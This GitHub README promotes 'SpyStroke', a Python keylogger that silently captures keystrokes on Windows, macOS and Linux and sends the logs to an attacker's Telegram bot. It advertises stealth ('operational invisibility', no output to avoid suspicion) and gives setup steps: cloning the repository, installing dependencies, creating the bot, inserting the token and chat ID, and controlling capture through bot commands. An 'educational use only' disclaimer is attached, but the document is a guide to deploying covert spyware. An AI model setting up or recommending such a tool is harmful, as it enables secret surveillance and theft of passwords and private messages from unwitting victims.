SpyStroke is a sophisticated and stealthy keylogger that captures keystrokes seamlessly and delivers logs directly to your Telegram bot. Designed with precision and minimal footprint, SpyStroke ensures effective monitoring while maintaining operational invisibility. This tool is perfect for both ethical research and cybersecurity enthusiasts.
- Real-time keystroke capture with special key combinations like
Ctrl,Shift, and more. - Telegram bot integration for immediate delivery of keystroke logs.
- Silent operation: No terminal output, avoiding suspicion.
- Cross-platform support: Works on Windows, macOS, and Linux.
- Asynchronous log delivery: Customize time intervals for reports.
- Clean and lightweight code with Python.
To set up and run SpyStroke on your machine, follow these steps:
Ensure you have Python 3.x installed. You can download Python from the official Python website.
Use pip to install the required Python package
pip install pynput python-telegram-bot requestsOpen your terminal or command prompt and run:
git clone https://github.com/anishalx/SpyStroke.git
cd SpyStroke/telegram- Go to Telegram and search for the BotFather.
- Use the
/newbotcommand to create a new bot. - You will receive a bot token. Keep this safe.
- Start a chat with your bot by searching for its name in Telegram.
- Use this bot to retrieve your chat ID (the ID where you want the logs sent).
Open the main.py file and replace the placeholders with your bot token and chat ID:
bot_token = "YOUR_TELEGRAM_BOT_TOKEN"
chat_id = "YOUR_TELEGRAM_CHAT_ID"To start the keylogger, use:
python spystroke.py
-
Start the Telegram bot:
- Send
/startto your bot to receive the introductory message. - Use
/key_loggerto start capturing keystrokes. - Use
/exitto stop the keylogger and shut down the bot.
- Send
-
Configure reporting interval:
- Modify the
intervalvalue in the code to change the frequency of log delivery.
- Modify the
Warning
This tool is intended for educational and ethical use only. The author is not responsible for any misuse or illegal activity involving this tool. Use responsibly and in compliance with all relevant laws and regulations.
We welcome contributions to enhance SpyStroke!
- Fork the repository.
- Create a branch:
git checkout -b feature-branch
- Make your changes and submit a pull request.
click here to see license
This project is licensed under the **MIT License**. See the [LICENSE](LICENSE) file for details.
For issues or suggestions, feel free to open a GitHub issue or contact me via Email.
